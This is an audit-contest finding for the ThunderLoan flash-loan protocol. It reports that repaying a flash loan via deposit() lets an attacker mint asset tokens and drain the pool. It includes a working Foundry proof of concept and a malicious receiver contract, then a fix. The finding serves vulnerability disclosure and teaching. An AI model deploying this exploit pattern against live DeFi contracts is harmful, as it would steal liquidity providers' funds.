Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

`ThunderLoan::flashloan` balance check can be exploited to drain token balances

Summary

An attacker can repay the loan by calling the ThunderLoan::deposit function during the flash loan execution, acquiring asset tokens. These asset tokens are then redeemed for the underlying tokens, allowing the attacker to drain all deposited tokens.

Vulnerability Details

Overview:

`flashloan()` balance check
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

The attacker contract exploits the balance check of the ThunderLoan::flashloan function by deploying a malicious flash loan receiver contract that will use the borrowed tokens to call ThunderLoan::deposit and get asset tokens to redeem for the underlying tokens. Any liquidity provider holding asset tokens won't be able to redeem them after the attack.

Actors:

  • Attacker: A user who owns a malicious receiver contract.

  • Victim: A liquidity provider who deposits tokens.

  • Protocol: ThunderLoan protocol, its flashLoan function checks the token balance before and after the flash loan, allowing the attacker to repay the loan by calling the deposit function to deposit the borrowed amount + fee, getting asset tokens as result.

Working Test Case:

Test

Copy paste the following function into ThunderLoanTest.t.sol::ThunderLoanTest

function testMaliciousFlashLoanReceiverCanDrainTokenBalance() public setAllowedToken {
////////// SETUP //////////
address attacker = makeAddr("attacker"); // Attacker address
AssetToken asset = thunderLoan.getAssetFromToken(tokenA); // Asset token
MockMaliciousFlashLoanReceiver mockMalicious; // Malicious flash loan receiver contract
vm.startPrank(liquidityProvider); // We'll call the deposit function from the liquidity provider's address
tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT); // Mint tokenA for the liquidity provider
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT); // Approve the thunderLoan contract to spend tokenA
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT); // Deposit tokenA into the thunderLoan contract in exchange for asset tokens
vm.stopPrank();
////////// ATTACK //////////
vm.startPrank(attacker); // Execute the attack from the attacker's address
mockMalicious = new MockMaliciousFlashLoanReceiver(address(thunderLoan)); // The attacker deploys the malicious flash loan receiver contract
console.log("Malicious contract asset token balance before the flash loan: %s", asset.balanceOf(address(mockMalicious))); // Malicious contract's asset token balance before the flash loan
uint256 amountToBorrow = tokenA.balanceOf(address(asset)); // Borrow the entire asset token balance
tokenA.mint(address(mockMalicious), thunderLoan.getCalculatedFee(tokenA, amountToBorrow)); // The attacker deposits the fee into the malicious contract
thunderLoan.flashloan(address(mockMalicious), tokenA, amountToBorrow, ""); // The attacker executes the flash loan using the malicious contract as the flash loan receiver
console.log("Malicious contract asset token balance after the flash loan: %s", asset.balanceOf(address(mockMalicious))); // Malicious contract's asset token balance after the flash loan
console.log("Underlying token balance before the attacker redeems his asset tokens: %s", tokenA.balanceOf(address(asset))); // Underlying token balance before the attacker redeems his asset tokens
uint256 exchangeRate = asset.getExchangeRate(); // Get the current exchange rate
uint256 amountToRedeem = ((tokenA.balanceOf(address(asset)) * asset.EXCHANGE_RATE_PRECISION())/exchangeRate) + 1; // Calculate the amount of asset tokens to redeem, adding 1 to round up
mockMalicious._redeem(tokenA, amountToRedeem); // The attacker redeems his asset tokens
console.log("Underlying token balance after the attacker redeems his asset tokens: %s", tokenA.balanceOf(address(asset))); // The underlying token balance is depleted after the attacker redeems his asset tokens
vm.stopPrank();
vm.prank(liquidityProvider); // Execute the redeem function from the liquidity provider's address
vm.expectRevert("ERC20: transfer amount exceeds balance");
thunderLoan.redeem(tokenA, 1); // Liquidity provider can't redeem any asset tokens because the malicious contract has drained the underlying token balance
}
Malicious contract

Copy paste the following code into ThunderLoanTest.t.sol

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
interface IThunderLoan {
function deposit(address token, uint256 amount) external;
function redeem(IERC20 token, uint256 amount) external;
}
contract MockMaliciousFlashLoanReceiver {
error MockMaliciousFlashLoanReceiver__onlyOwner();
error MockMaliciousFlashLoanReceiver__onlyThunderLoan();
using SafeERC20 for IERC20;
address s_owner;
address s_thunderLoan;
constructor(address thunderLoan) {
s_owner = msg.sender;
s_thunderLoan = thunderLoan;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
if (initiator != s_owner) {
revert MockMaliciousFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockMaliciousFlashLoanReceiver__onlyThunderLoan();
}
IThunderLoan thunderLoan = IThunderLoan(s_thunderLoan);
IERC20(token).approve(s_thunderLoan, amount + fee);
thunderLoan.deposit(token, amount + fee);
return true;
}
function _redeem(IERC20 token, uint256 amount) external {
IThunderLoan thunderLoan = IThunderLoan(s_thunderLoan);
thunderLoan.redeem(token, amount);
}
}

Steps to reproduce the test:

  1. Copy paste the test function into ThunderLoanTest.t.sol::ThunderLoanTest

  2. Copy paste the malicious contract into ThunderLoanTest.t.sol

  3. Run forge test --mt testMaliciousFlashLoanReceiverCanDrainTokenBalance -vv in the terminal

Impact

The liquidity providers can't redeem their asset tokens.

Tools Used

Foundry

Recommendations

Change the way in which repayment check in ThunderLoan::flashloan function is made:

- s_currentlyFlashLoaning[token] = true;
- uint256 endingBalance = token.balanceOf(address(assetToken));
- if (endingBalance < startingBalance + fee) {
- revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
- }
- s_currentlyFlashLoaning[token] = false;
+ require(
+ IERC20(token).transferFrom(address(receiverAddress), address(this), amount + fee),
+ "FlashLender: Repay failed"
+ );
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.